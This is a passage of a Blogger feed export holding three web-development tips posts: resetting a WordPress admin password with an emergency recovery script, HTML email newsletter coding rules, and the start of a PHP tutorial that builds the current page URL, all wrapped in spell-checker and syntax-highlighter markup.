&lt;li&gt;Put the script &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;7f9e8baf-7b7d-4836-b1e0-5cc9819b879d&quot; id=&quot;b1f34448-c2e3-4ac8-aba1-b662f288788e&quot;&gt;on&lt;/span&gt; the root directory of your website.&lt;/li&gt;
&lt;li&gt;Make sure to delete the script once the password has been changed. (Important)&lt;/li&gt;
&lt;strong&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;b30ca68d-784b-4d6d-9b3e-4f8c69d0adf7&quot; id=&quot;131486a0-85de-4860-bdec-12b0a28df5d2&quot;&gt;steps&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Download &lt;a href=&quot;http://codex.wordpress.org/User:MichaelH/Orphaned_Plugins_needing_Adoption/Emergency&quot;&gt;emergency password reset script&lt;/a&gt; from here and place &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;07f583cc-5428-4258-98ac-074051e7e332&quot; id=&quot;dca37ecb-24a5-4dbf-a963-999af954496c&quot;&gt;to&lt;/span&gt; your &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;07f583cc-5428-4258-98ac-074051e7e332&quot; id=&quot;f8a5892a-907e-43b3-a5cb-6a44a07aa093&quot;&gt;wordpress&lt;/span&gt; installation directory. &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;1b476b46-02c1-4a12-a83b-454ac48e8979&quot; id=&quot;53f5078b-6240-4483-9773-188ebf5fb69e&quot;&gt;File name&lt;/span&gt; should be emergency.php&lt;/li&gt;
&lt;li&gt;Open ‘http://yourwebsitename.com/emergency.php&lt;/li&gt;
&lt;li&gt;Follow the instructions. &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;27fdd44c-5d8c-4916-bd82-7d5a5e4ee7d3&quot; id=&quot;4f7cdf98-5914-46d3-8d60-23ab88e2df35&quot;&gt;Enter admin&lt;/span&gt; username and new password. 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;a9bafc57-9de0-4b5b-a079-fb36f8192c8e&quot; id=&quot;0a94d8a8-cd42-4ff4-95bb-cb9acea222bb&quot;&gt;click&lt;/span&gt; update options. A message will be displayed to note the password 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;54e5de0c-a8cb-469a-98bf-4c2fbd346a8d&quot; id=&quot;6fe9639e-b430-4ce0-b867-77a790de2ffe&quot;&gt;change&lt;/span&gt;. An email &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;2a7bd801-508f-4196-8d5b-22779702df1d&quot; id=&quot;b4147cda-6190-4854-a41a-79aed88e6028&quot;&gt;will be send&lt;/span&gt; to the admin’s email.&lt;/li&gt;
&lt;li&gt;Don’t forget to delete the emergency.php from your server. Because, anyone can use it to change the password.&lt;/li&gt;
&lt;/ul&gt;
I hope one of these &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;56a10096-b00b-44d2-9f1e-45f97595ab6e&quot; id=&quot;345450af-762c-4b13-9f62-55142f29f691&quot;&gt;method&lt;/span&gt; will work for you. If doesn’t please feel free to comment below.&lt;/ul&gt;
&lt;span class=&quot;GingerNoCheckEnd&quot;&gt;&lt;/span&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://comhttp.blogspot.com/feeds/9154841914623789410/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://comhttp.blogspot.com/2013/07/easyway-to-resetting-wordpress-password.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/9154841914623789410'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/9154841914623789410'/><link rel='alternate' type='text/html' href='http://comhttp.blogspot.com/2013/07/easyway-to-resetting-wordpress-password.html' title='Easyway to resetting wordpress password using FTP'/><author><name>AzHaR</name><uri>http://www.blogger.com/profile/03405898531471075920</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih40lSRTtzKH7GaWX63mZdTGNTfcpmTNeHTdfcc29rNAStswogMjPe0Xnhce2tbuvWCIjNYm7rv3LG-lZmlK4GrqJc9q6EkGqcQCqRhp6kM7MOJgMUMecLH5AbzL7ybw/s220/azhar.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4277709300573377224.post-27393666225930132</id><published>2013-06-30T22:36:00.003+05:30</published><updated>2013-06-30T22:36:59.541+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Html Tips"/><title type='text'>HTML Email Newsletters Coding</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;a href=&quot;http://voidtricks.com/wp-content/uploads/2013/06/email-newsletter.jpg&quot;&gt;&lt;img alt=&quot;Email Newsletter&quot; class=&quot;alignnone size-medium wp-image-641&quot; height=&quot;278&quot; src=&quot;http://voidtricks.com/wp-content/uploads/2013/06/email-newsletter-300x278.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;br /&gt;

&lt;h2&gt;
HTML email newsletter coding rules&lt;/h2&gt;
Are you getting irritated when your &lt;a href=&quot;http://www.usdatacorporation.com/&quot; target=&quot;_blank&quot; title=&quot;email newsletter&quot;&gt;email newsletter&lt;/a&gt; looks different in browsers and &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;46ed61e3-d311-401b-81f2-e8559a73c586&quot; id=&quot;139a0ab1-187a-41fa-abb1-b40906e036ca&quot;&gt;inbox&lt;/span&gt;? &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;f11dffde-3777-4f92-8ea5-8ad406076fa2&quot; id=&quot;49b35317-94e7-4418-b1a0-c33c34e60ac4&quot;&gt;follow&lt;/span&gt; the rules explained here to make better email newsletter.&lt;br /&gt;

&lt;ul&gt;
&lt;li&gt;Use table for everything. Don’t try to use Div. Enclose the &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;38a665e8-0116-4458-8626-b6fa57bbf6bd&quot; id=&quot;577f57be-4e3a-40a7-b8f5-5c575e20494b&quot;&gt;hole&lt;/span&gt; newsletter in a table.&lt;/li&gt;
&lt;li&gt;You have to use inline &lt;a href=&quot;http://voidtricks.com/programming-tutorials/css3/&quot; target=&quot;_blank&quot; title=&quot;CSS / CSS3&quot;&gt;CSS&lt;/a&gt; only. External CSS won’t work in &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;bbc2e767-11ba-4365-997c-e88048a23361&quot; id=&quot;8a2f341e-d878-4b1a-b20a-e4ded57b52fb&quot;&gt;newsletter&lt;/span&gt;. And CSS should be inside &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;4c4dcd3c-7d99-4f99-bc79-733090332f00&quot; id=&quot;909dcfbc-a4c2-4c4c-94b2-232bd989c5d7&quot;&gt;body tag&lt;/span&gt;. Don’t use CSS inside &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;11e90a97-89f5-41b7-989e-5c14fe92e26a&quot; id=&quot;55a531e9-29a1-49d2-8e87-6c83a0ec8d4a&quot;&gt;Head tag&lt;/span&gt;.&lt;/li&gt;
&lt;li&gt;Don’t use any shorthand in CSS. Use abbreviated &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;7464eedc-c4ff-414a-be54-bfcbe2a6ad93&quot; id=&quot;463f0dde-d2c4-4065-8d8b-3785dc763946&quot;&gt;styles&lt;/span&gt;. For example: Use &lt;code&gt;color&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;8e434a23-f257-4ec9-ac5a-52878477fbc2&quot; id=&quot;18868234-060d-475f-8bcd-828339f2cd14&quot;&gt;:&lt;/span&gt;#ffeedd&lt;/code&gt; instead of &lt;code&gt;color&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;8e434a23-f257-4ec9-ac5a-52878477fbc2&quot; id=&quot;f3091f99-b0ae-4ea8-9bd9-e1216cc9ed88&quot;&gt;:&lt;/span&gt;#fed&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Avoid using Divs and Spans. Try to use tables for everything&lt;/li&gt;
&lt;li&gt;Padding won’t work in &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;e35e3469-a1f9-4f68-b28c-bcaf753ca7c8&quot; id=&quot;63225d02-4976-40db-9d27-59b898d3291f&quot;&gt;newsletter&lt;/span&gt;. So use margin only. &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;1c56d0bc-9814-410e-851a-8fbb60017372&quot; id=&quot;cb65f7dc-5153-4f55-a8b2-2dfb7f7e2436&quot;&gt;specify&lt;/span&gt; the margin like margin-left, margin-right, margin-bottom&lt;/li&gt;
&lt;li&gt;Don’t use header (h1, h2, h3, h4, h5, h6)&amp;gt;. Because some mail providers &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;88d557d4-a1eb-42d7-9059-038f347ce88d&quot; id=&quot;8a44aa65-54a9-4fc6-b186-39f543ed56a0&quot;&gt;has&lt;/span&gt; their own design for this &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;88d557d4-a1eb-42d7-9059-038f347ce88d&quot; id=&quot;da70135a-67ad-4a22-a8b7-255d91c8853c&quot;&gt;tags&lt;/span&gt;.&lt;/li&gt;
&lt;li&gt;If you want right alignment for &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;1fabea17-4d10-45f1-8282-401ba69f8b70&quot; id=&quot;2e4d8bd9-f9b6-4e68-a51f-f26bc010b8aa&quot;&gt;image&lt;/span&gt;, put it in a table and give cellpadding=’0′ and cellspacing=’0′&lt;/li&gt;
&lt;li&gt;Store images on &lt;a href=&quot;http://httpd.apache.org/%E2%80%8E&quot; target=&quot;_blank&quot; title=&quot;web server&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;2a532961-07fa-44b8-b072-39468116d775&quot; id=&quot;92338cf2-e767-4239-8370-87018b6c8187&quot;&gt;web server&lt;/span&gt;&lt;/a&gt; and use them. Don’t delete the stored image.&lt;/li&gt;
&lt;li&gt;Avoid Line-height in CSS&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://comhttp.blogspot.com/feeds/27393666225930132/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://comhttp.blogspot.com/2013/06/html-email-newsletters-coding.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/27393666225930132'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/27393666225930132'/><link rel='alternate' type='text/html' href='http://comhttp.blogspot.com/2013/06/html-email-newsletters-coding.html' title='HTML Email Newsletters Coding'/><author><name>AzHaR</name><uri>http://www.blogger.com/profile/03405898531471075920</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih40lSRTtzKH7GaWX63mZdTGNTfcpmTNeHTdfcc29rNAStswogMjPe0Xnhce2tbuvWCIjNYm7rv3LG-lZmlK4GrqJc9q6EkGqcQCqRhp6kM7MOJgMUMecLH5AbzL7ybw/s220/azhar.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4277709300573377224.post-1555389208840661413</id><published>2013-06-30T22:33:00.000+05:30</published><updated>2013-06-30T22:33:11.927+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="PHP Tips"/><title type='text'>Get URL and change the according  image in PHP</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
					&lt;br /&gt;

				
				
								
				
					&lt;a href=&quot;http://voidtricks.com/wp-content/uploads/2013/05/change-image-according-to-url.png&quot;&gt;&lt;img alt=&quot;change image according to url&quot; class=&quot;alignnone size-medium wp-image-486&quot; height=&quot;195&quot; src=&quot;http://voidtricks.com/wp-content/uploads/2013/05/change-image-according-to-url-300x195.png&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;br /&gt;

&lt;h2&gt;
Trick to change image according to URL in PHP&lt;/h2&gt;
Hi people! This trick is pretty simple and very useful at &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;4aebcd3b-fa33-4076-b7aa-2f441bcc315d&quot; id=&quot;f46d08c9-09d6-458a-b95b-118b053505cb&quot;&gt;sometimes&lt;/span&gt;.&lt;br /&gt;

Sometimes you might want to change image according to &lt;a href=&quot;http://en.wikipedia.org/wiki/Uniform_resource_locator&quot;&gt;URL&lt;/a&gt; in any PHP page here is the tutorial.&lt;br /&gt;

&lt;h3&gt;
STEP1&lt;/h3&gt;
In first step you need to get the current url. See the code below&lt;br /&gt;



		&lt;div class=&quot;crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes&quot; data-settings=&quot; minimize scroll-mouseover&quot; id=&quot;crayon-51d0628f38cf3&quot; style=&quot;clear: both; float: none; font-size: 12px ! important; height: auto; line-height: 15px ! important; margin-bottom: 12px; margin-top: 12px;&quot;&gt;
		
			
			
			&lt;div class=&quot;crayon-plain-wrap&quot;&gt;
&lt;textarea class=&quot;crayon-plain print-no&quot; data-settings=&quot;dblclick&quot; readonly=&quot;readonly&quot; style=&quot;-moz-tab-size: 4; font-size: 12px ! important; line-height: 15px ! important; opacity: 0; overflow: hidden; z-index: 0;&quot; wrap=&quot;off&quot;&gt;&lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;76f8bd4f-5238-4cdc-adce-fb6b130bed43&quot; id=&quot;cbb05a6d-e73f-44df-9762-a0c303443f57&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;76f8bd4f-5238-4cdc-adce-fb6b130bed43&quot; id=&quot;8ab97e8e-7537-4778-a84c-823e6add52af&quot;&gt;php&lt;/span&gt;
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;20ba333d-db99-405b-9d0e-0454e1b42170&quot; id=&quot;96f12c4d-3837-4902-a242-6afdd10c1134&quot;&gt;function&lt;/span&gt; curPageURL&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;20ba333d-db99-405b-9d0e-0454e1b42170&quot; id=&quot;ca47a2ae-2f74-4eec-9eb7-583838c8101f&quot;&gt;(&lt;/span&gt;) {
 $pageURL = &#39;http&#39;;
 &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;8df2d975-85e8-4f68-a5cf-1edaee05b0f9&quot; id=&quot;7bda8901-958e-4bc5-85c1-366cbf9212f4&quot;&gt;if&lt;/span&gt; ($_SERVER&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;8df2d975-85e8-4f68-a5cf-1edaee05b0f9&quot; id=&quot;06a2b007-007a-451f-babd-8a3a916cdb39&quot;&gt;[&lt;/span&gt;&quot;HTTPS&quot;] == &quot;on&quot;) {$pageURL .= &quot;s&quot;;}
 $pageURL .= &quot;://&quot;;
 &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;d0722596-52fd-4119-8b85-6f4bcb46b7ee&quot; id=&quot;8426d8c4-b532-40dd-a7d8-e18be776aea1&quot;&gt;if&lt;/span&gt; ($_SERVER&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;d0722596-52fd-4119-8b85-6f4bcb46b7ee&quot; id=&quot;a2580895-15ea-4bd8-9e51-05a196db0e6d&quot;&gt;[&lt;/span&gt;&quot;SERVER_PORT&quot;] != &quot;80&quot;) {
  $pageURL .= $_SERVER&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;5c2096d1-3323-4d27-8a2c-b200fa719457&quot; id=&quot;4f7477ae-e30a-4193-bce1-b68af2cf8e5d&quot;&gt;[&lt;/span&gt;&quot;SERVER_NAME&quot;].&quot;:&quot;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;5c2096d1-3323-4d27-8a2c-b200fa719457&quot; id=&quot;0e42acaf-f551-431e-aa5f-0b13d4ce70ef&quot;&gt;.&lt;/span&gt;$_SERVER&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;5c2096d1-3323-4d27-8a2c-b200fa719457&quot; id=&quot;ea15baa5-0408-491a-9613-0f6adddadf88&quot;&gt;[&lt;/span&gt;&quot;SERVER_PORT&quot;]&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;5c2096d1-3323-4d27-8a2c-b200fa719457&quot; id=&quot;f64e1481-da07-42f4-b4fb-65e79668621c&quot;&gt;.&lt;/span&gt;$_SERVER&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;5c2096d1-3323-4d27-8a2c-b200fa719457&quot; id=&quot;2f82ca9e-2866-4e66-ba64-58afeb7d6f53&quot;&gt;[&lt;/span&gt;&quot;REQUEST_URI&quot;];
 } &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;9eb5dec0-c5da-4b79-a1cf-f9026cd28b72&quot; id=&quot;183d7ffd-c620-434a-a528-d69bc3218471&quot;&gt;else&lt;/span&gt; {
  $pageURL .= $_SERVER&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;96044703-d1a8-4641-a917-e56bea22f125&quot; id=&quot;ee539dea-ae72-49da-a1d5-29d61216f549&quot;&gt;[&lt;/span&gt;&quot;SERVER_NAME&quot;]&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;96044703-d1a8-4641-a917-e56bea22f125&quot; id=&quot;4e7b4ef0-97ad-4e22-b181-68d6cc27e877&quot;&gt;.&lt;/span&gt;$_SERVER&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;96044703-d1a8-4641-a917-e56bea22f125&quot; id=&quot;033e7403-4e66-4a99-b951-f6e5b4243b64&quot;&gt;[&lt;/span&gt;&quot;REQUEST_URI&quot;];
 }
 &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;435d960e-0587-46c1-8e58-fc984abe014d&quot; id=&quot;d579bbd3-adef-496f-ac7b-2012c9860def&quot;&gt;return&lt;/span&gt; $pageURL;
}
?&gt;&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-main&quot; style=&quot;overflow: hidden; position: relative; z-index: 1;&quot;&gt;
				&lt;table class=&quot;crayon-table&quot;&gt;
					&lt;tbody&gt;
&lt;tr class=&quot;crayon-row&quot;&gt;
				&lt;td class=&quot;crayon-nums &quot; data-settings=&quot;show&quot;&gt;
					&lt;div class=&quot;crayon-nums-content&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0628f38cf3-1&quot;&gt;
1&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0628f38cf3-2&quot;&gt;
2&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0628f38cf3-3&quot;&gt;
3&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0628f38cf3-4&quot;&gt;
4&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0628f38cf3-5&quot;&gt;
5&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0628f38cf3-6&quot;&gt;
6&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0628f38cf3-7&quot;&gt;
7&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0628f38cf3-8&quot;&gt;
8&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0628f38cf3-9&quot;&gt;
9&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0628f38cf3-10&quot;&gt;
10&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0628f38cf3-11&quot;&gt;
11&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0628f38cf3-12&quot;&gt;
12&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0628f38cf3-13&quot;&gt;
13&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
						&lt;td class=&quot;crayon-code&quot;&gt;&lt;div class=&quot;crayon-pre&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0628f38cf3-1&quot;&gt;
&lt;span class=&quot;crayon-ta&quot;&gt;&amp;lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;0edad259-7211-4511-9853-541f85296c18&quot; id=&quot;b7fa3815-65c0-4716-90e2-256a7c4d6b7f&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;0edad259-7211-4511-9853-541f85296c18&quot; id=&quot;f12ee1da-30de-4e22-b198-7d75b27c6f9a&quot;&gt;php&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0628f38cf3-2&quot;&gt;
&lt;span class=&quot;crayon-t&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;cdb9917d-0245-464a-8610-d24d08a5b75e&quot; id=&quot;1d63ed0c-11b9-4d61-8ce9-48f19985f238&quot;&gt;function&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;curPageURL&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;cdb9917d-0245-464a-8610-d24d08a5b75e&quot; id=&quot;5047e49f-3a7b-4f5f-9dc0-d7ad0d8eec23&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0628f38cf3-3&quot;&gt;
&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$pageURL&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&#39;http&#39;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0628f38cf3-4&quot;&gt;
&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-st&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;a96e3a78-d617-423c-9b3b-21d07a45dc35&quot; id=&quot;671a6b7d-02dc-4a1a-b350-88f690a1cf02&quot;&gt;if&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$_SERVER&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;a96e3a78-d617-423c-9b3b-21d07a45dc35&quot; id=&quot;38c4cd62-67ac-4492-9482-ab8037f35f55&quot;&gt;[&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;HTTPS&quot;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;on&quot;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$pageURL&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;s&quot;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0628f38cf3-5&quot;&gt;
&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$pageURL&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;://&quot;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0628f38cf3-6&quot;&gt;
&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-st&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;77eeaf99-5501-4a25-a7d8-1f79db6c21fa&quot; id=&quot;56ea6fdd-a358-4546-ac94-99d9c96c256a&quot;&gt;if&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$_SERVER&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;77eeaf99-5501-4a25-a7d8-1f79db6c21fa&quot; id=&quot;68747857-37a5-4482-831b-50b4c41a2366&quot;&gt;[&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;SERVER_PORT&quot;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;!=&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;80&quot;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0628f38cf3-7&quot;&gt;
